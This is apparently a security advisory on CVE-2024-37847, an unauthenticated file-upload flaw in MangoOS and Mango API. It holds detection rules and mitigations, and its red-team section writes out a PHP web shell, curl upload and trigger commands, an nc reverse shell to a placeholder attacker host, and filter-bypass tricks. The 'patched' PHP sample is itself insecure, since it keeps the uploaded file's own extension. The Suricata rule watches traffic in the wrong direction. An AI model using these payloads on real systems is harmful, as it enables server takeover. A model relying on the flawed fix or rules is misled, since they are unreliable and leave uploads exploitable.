CVE-2024-37847

Executive Summary

CVE-2024-37847 is an arbitrary file upload vulnerability affecting MangoOS versions before 5.1.4 and Mango API versions before 4.5.5. This vulnerability allows an unauthenticated attacker to upload a crafted file to the server, which can then be executed, leading to remote code execution (RCE). The vulnerability resides in the file upload functionality, where insufficient validation of file types and contents permits the upload of malicious scripts (e.g., PHP, JSP, or ASPX files). Successful exploitation could result in full compromise of the affected server, including data theft, lateral movement, and potential deployment of backdoors.

The vulnerability has a CVSS score of 0.0, indicating that no official CVSS vector has been assigned. However, based on the nature of the flaw, the severity is likely critical. No public proof-of-concept (PoC) or exploit code has been identified at this time, and no patch details are available from OSV or GitHub. The EPSS score is 0.0%, suggesting low exploitation activity in the wild, but this may change as more details emerge.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the MangoOS and Mango API software, which are proprietary or open-source web application frameworks. Organizations using these products should treat this as a direct application-level threat and prioritize patching or mitigation.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, meaning no official vector has been calculated. Based on the vulnerability description (arbitrary file upload leading to RCE), a reasonable estimated vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The ability to upload arbitrary files without authentication and execute them gives an attacker complete control over the server.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload flaw (CWE-434). The MangoOS and Mango API file upload endpoints fail to properly validate the MIME type, file extension, or content of uploaded files. An attacker can craft a malicious file (e.g., a PHP web shell) and upload it to a directory accessible via the web server. Once uploaded, the attacker can access the file directly via a URL, causing the server to execute the embedded code.

Attack Flow:

1. Identify the file upload endpoint (e.g., /upload, /api/upload, or similar).
2. Craft a malicious file containing server-side code (e.g., PHP, ASPX, JSP).
3. Send a POST request with the malicious file, bypassing any client-side validation.
4. The server stores the file in a web-accessible directory (e.g., /uploads/).
5. The attacker accesses the uploaded file via its URL, triggering code execution.
6. The attacker can then execute arbitrary commands, exfiltrate data, or pivot to other systems.

Root Cause: Lack of server-side validation of file type, extension, and content. The application likely relies on client-side checks or uses a blacklist approach that can be bypassed.

Vulnerable vs. Patched Code

Since no patch details are available, the following is a hypothetical comparison based on common fixes for CWE-434.

Vulnerable Code (PHP Example):

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Error uploading file.";
}
?>

Patched Code (PHP Example):

<?php
$target_dir = "uploads/";
$allowed_types = ['image/jpeg', 'image/png', 'application/pdf'];
$max_size = 5 * 1024 * 1024; // 5MB

if ($_FILES["file"]["size"] > $max_size) {
    die("File too large.");
}

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES["file"]["tmp_name"]);
finfo_close($finfo);

if (!in_array($mime_type, $allowed_types)) {
    die("Invalid file type.");
}

$extension = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
$new_filename = uniqid() . '.' . $extension;
$target_file = $target_dir . $new_filename;

if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Error uploading file.";
}
?>

The patched version validates the MIME type using finfo, restricts file size, and renames the file to prevent predictable names.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: MangoOS 5.1.3 or Mango API 4.5.4 (vulnerable version)
• Attacker: Kali Linux with Burp Suite or cURL

Exploitation Steps:

1. Identify the upload endpoint (e.g., /api/upload).
2. Create a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

3. Upload the file using cURL:

   curl -X POST -F "file=@shell.php" http://target.com/api/upload
   

4. Access the uploaded file to execute commands:

   curl http://target.com/uploads/shell.php?cmd=id
   

5. If successful, escalate to a reverse shell:

   curl http://target.com/uploads/shell.php?cmd=nc -e /bin/bash attacker_ip 4444
   

Bypass Techniques:

• Double extension: shell.php.jpg
• Null byte injection: shell.php%00.jpg
• Content-Type manipulation: Change Content-Type to image/jpeg
• Polyglot files: Embed PHP code in a valid image file.

Blue Team (Defensive)

Detection:

• Monitor for unusual file uploads with unexpected extensions (e.g., .php, .asp, .jsp).
• Alert on files uploaded to directories that should not contain executable code.
• Use WAF rules to block uploads of server-side scripts.

Mitigation:

• Implement strict file type validation using MIME type detection (e.g., finfo in PHP).
• Store uploaded files outside the web root and serve them via a script that enforces content-type headers.
• Disable execution of uploaded files in the upload directory (e.g., via .htaccess or Nginx config).
• Rename uploaded files to random strings to prevent direct access.

Hunting:

• Search for files with double extensions or suspicious content in upload directories.
• Review web server logs for POST requests to upload endpoints followed by GET requests to the uploaded file.
• Use file integrity monitoring to detect new files in upload directories.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but monitor for unknown files in upload directories)
• Network Indicators:
  • POST requests to /api/upload, /upload, or similar endpoints.
  • GET requests to /uploads/ followed by a filename with executable extension.
• File System Indicators:
  • Unexpected files in web-accessible upload directories with extensions like .php, .phtml, .asp, .aspx, .jsp, .war.
  • Files with double extensions (e.g., image.php.jpg).
• Behavioral Indicators:
  • Unusual outbound connections from the web server (e.g., reverse shells).
  • Execution of system commands via web requests (e.g., cmd=id in URL parameters).

Detection Engineering

YARA Rule

rule CVE_2024_37847_File_Upload {
    meta:
        description = "Detects malicious file uploads targeting CVE-2024-37847"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37847"
    strings:
        $php_shell = "<?php system("
        $asp_shell = "<% Execute("
        $jsp_shell = "Runtime.getRuntime().exec("
        $webshell_func = /(system|exec|shell_exec|passthru|popen|proc_open)\(/
    condition:
        any of ($php_shell, $asp_shell, $jsp_shell) or
        ($webshell_func and filesize < 100KB)
}

Sigma Rule

title: CVE-2024-37847 - Suspicious File Upload to MangoOS/Mango API
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to MangoOS/Mango API upload endpoints with suspicious file extensions.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/upload'
            - '/upload'
            - '/file/upload'
        cs-uri-query|contains: '.php'
    condition: selection
falsepositives:
    - Legitimate file uploads with .php extension (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37847 - Suspicious File Upload to MangoOS"; flow:to_server,established; content:"POST"; http_method; content:"/api/upload"; http_uri; content:".php"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update MangoOS to version 5.1.4 or later, and Mango API to version 4.5.5 or later, if patches become available.
2. Isolate: If patching is not possible, isolate the affected server from the internet and restrict access to the upload functionality.
3. WAF Rules: Deploy Web Application Firewall rules to block uploads of executable files (e.g., .php, .asp, .jsp).

Long-Term Fixes:

• Implement strict file type validation using MIME type detection (server-side).
• Store uploaded files in a non-web-accessible directory and serve them via a download script.
• Rename uploaded files to random strings to prevent direct access.
• Disable execution of scripts in upload directories (e.g., via .htaccess or Nginx location block).
• Conduct a security audit of the file upload functionality.

Workarounds:

• If the upload feature is not critical, disable it entirely.
• Use a reverse proxy to inspect and sanitize uploads before they reach the application.

Valters IT